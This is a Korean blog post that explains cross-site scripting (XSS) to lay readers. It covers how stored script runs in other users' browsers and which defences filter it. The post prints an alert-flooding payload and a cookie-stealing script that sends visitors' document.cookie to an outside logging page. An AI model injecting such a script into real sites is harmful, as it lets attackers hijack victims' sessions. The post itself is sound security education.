White Rabbit

본문

해커라고 하면 일반적으로 이런 이미지를 떠올릴 것 같습니다.컴터만 켜져 있는 어두컴컴한 방, 컴터 주위에 널려있는 쓰레기들, 하얗게 뜬 얼굴에 뚱뚱하거나 완전 마른 몸. 물론 실제로 보면 꼭 그런 것만은 아니겠죠. 해킹도 마찬가지입니다. 보통 해킹이라고 하면 다른 서버나 사용자의 컴퓨터에 침입하여 온갖 정보들을 빼 내고 추적되기 전에 무사히 빠져나가는 이미지일텐데요. 남의 집에 문을 따고 들어가 윈도 암호를 찍어서 맞추고 디스켓으로 정보를 빼 온다고 해도 마찬가지로 해킹입니다. 어쩌면 가장 확실한 방법일지도 모르겠군요. :)

여기서 소개하는 XSS 역시 간단하면서도 강력할 수 있는 해킹 방법 중 하나입니다. 악의적인 사용자가 웹서버를 통해 다른 클라이언트의 컴퓨터에서 악의적인 코드를 실행시키는 것이 바로 XSS라고 할 수 있습니다. 크게 client-to-client와 client-to-itself 방식으로 분류할 수 있습니다.

XSS를 이해하기 위해서는 먼저 스크립트 언어가 어떻게 동작하는지 알아야 합니다. 웹페이지를 나타내기 위해선 당연히 HTML으로 페이지를 구성해야겠죠. 하지만 HTML 만으로는 정적인 페이지밖에 만들 수 없습니다. 만약 게시판이라도 만드려면 모든 페이지를 각각 다른 HTML로 만들어줘야 하겠죠. 이를 위해 웹서버에서 실행되는 CGI(Common Gateway Interface)가 존재합니다. 흔히 알고 있는 서버사이드 스크립트 언어인 PHP, JSP, ASP 등은 모두 CGI 프로그램으로, 사용자가 요청했을때 웹서버에서 실행되어 그 결과를 사용자에게 돌려줍니다. 즉, CGI 프로그램으로 인해 동적인 웹페이지를 구성할 수 있게 되는 것이죠.

이와 반대로 사용자의 컴퓨터에서 실행되는 스크립트 언어가 있습니다. 바로 자바스크립트나 비주얼베이직스크립트 등이 그들입니다. 자바스크립트가 삽입되지 않은 웹페이지를 찾기가 드물 정도로 자바스크립트는 많이 사용되는데, 자바스크립트의 특징은 웹페이지가 로드된 후 사용자의 웹브라우저에서 실행된다는 것입니다. 만약 어떤 서버사이드 스크립트의 실행시간이 매우 오랜 시간이 걸린다면, 웹서버에는 많은 부하를 주겠지만 정작 사용자의 컴터는 멀쩡합니다. 단지 페이지가 로딩되는데 시간이 많이 걸릴 뿐이고, 가끔 404 Not Found 에러가 날 뿐이죠. 그러나 자바스크립트가 실행시간이 매우 오래 걸린다면 사용자의 컴터에 영향을 줍니다. 심지어 컴터가 다운되는 사태가 발생할 수도 있죠.

XSS는 사용자의 컴퓨터에서 자바스크립트가 실행된다는 점을 이용합니다. 일단 다른 사용자의 컴퓨터에 접근하기 위해 웹서버를 경유해야겠죠. XSS를 걸러내지 못하는 게시판에 글을 썼다고 가정합시다. 다음과 같은 코드를 글 가운데에 넣었습니다.

[script]

  for(i=0; i<100; ++i) {

    alert("Hello, World!");

  }

[/script]

이 스크립트는 글 내용과 함께 웹서버의 데이터베이스에 저장됩니다. 그리고 다른 사용자가 게시판에서 이 글을 조회하려 할 때, 그 사용자의 컴퓨터에서 스크립트가 실행되는 것이죠. 위의 스크립트는 "Hello, World!"라는 내용의 경고창을 100번 띄우게 됩니다-_- 당하는 사람의 입장에서는 매우 짜증나는 일이겠죠. 이것이 가장 간단한 방식의 client-to-client XSS입니다.

이렇게 XSS를 발생시키는 일은 매우 간단합니다. 그리고 악의적으로 할 수 있는 일도 매우 다양하죠. 자바스크립트 대신 [Object]나 [Embed] 태그를 사용하여 ActiveX 프로그램을 다른 사용자의 컴퓨터에 설치할 수도 있고, [Applet] 태그로 엉뚱한 자바 애플릿을 실행시킬 수도 있습니다. 그러나 가장 위험한 것은 역시 사용자의 정보를 다른 곳으로 빼돌릴 수 있다는 점입니다.

지난 번에 쿠키에 대해 간단히 설명드렸지만, 쿠키에는 사용자에게 민감한 정보들이 많이 들어있습니다. 이를테면 세션 쿠키 등을 훔치면 그 사용자의 아이디와 비밀번호를 몰라도 마치 그 사용자인양 로그인할 수도 있죠. XSS를 이용하면 이 쿠키 정보를 매우 간단히 훔칠 수 있습니다. 다음 스크립트가 어떤 게시판의 글 가운데 삽입되어 다른 사용자의 컴퓨터에서 실행된다고 가정해 봅시다.

[script]

  var url = "http://member.jinbo.net/renegade/cookieLogger.php?c=" + document.cookie + "&url=" + document.URL;

  document.location.replace(url);

[/script]

코드에 나온 document.cookie는 사용자의 쿠키를 출력합니다. 물론 document.URL은 해당 사이트의 url을 출력하지요. 예를 들면 http://blog.jinbo.net에 들어간 후, 주소창에 다음과 같은 코드를 치고 실행하면 쉽게 알 수 있을 것입니다.

javascript:alert(document.cookie)

blog.jinbo.net에서 사용하는 쿠키가 어떤 것이 있는지 알 수 있죠. XSS 스크립트는 이런 식으로 특정 사용자만이 알 수 있는 값을 악의적인 사용자 레니의 프로그램인 cookieLogger.php로 보내줍니다. cookieLogger.php는 게시판의 글을 읽는 사람들의 쿠키들을 받아 따로 저장할 수도 있고 악의적으로 이용할 수도 있습니다. 이렇게 XSS는 보안상 위험한 상황을 발생시키기도 하죠.

사실 XSS는 너무나 잘 알려진 취약성이기 때문에 대부분의 웹어플리케이션에서는 이에 대한 대비를 하고 있습니다. 예를 들면 글의 내용 중에 [script]나 [embed]라는 태그를 사용한다면 이를 [x-script]나 [x-embed]로 바꿔서 실행되지 못하도록 하기도 하고, "<"를 아예 특수문자인 "&lt;"로 바꿔서 저장하기도 합니다. 그러나 사용자의 입력을 받을 수 있는 곳은 어디나 XSS가 발생할 소지가 있으며, 웹어플리케이션 개발자는 항상 이 문제에 신경을 쓰고 개발을 해야 하겠죠.

...물론 타인의 정보를 훔치려고 하지 않는 센스가 더 중요하겠죠? :)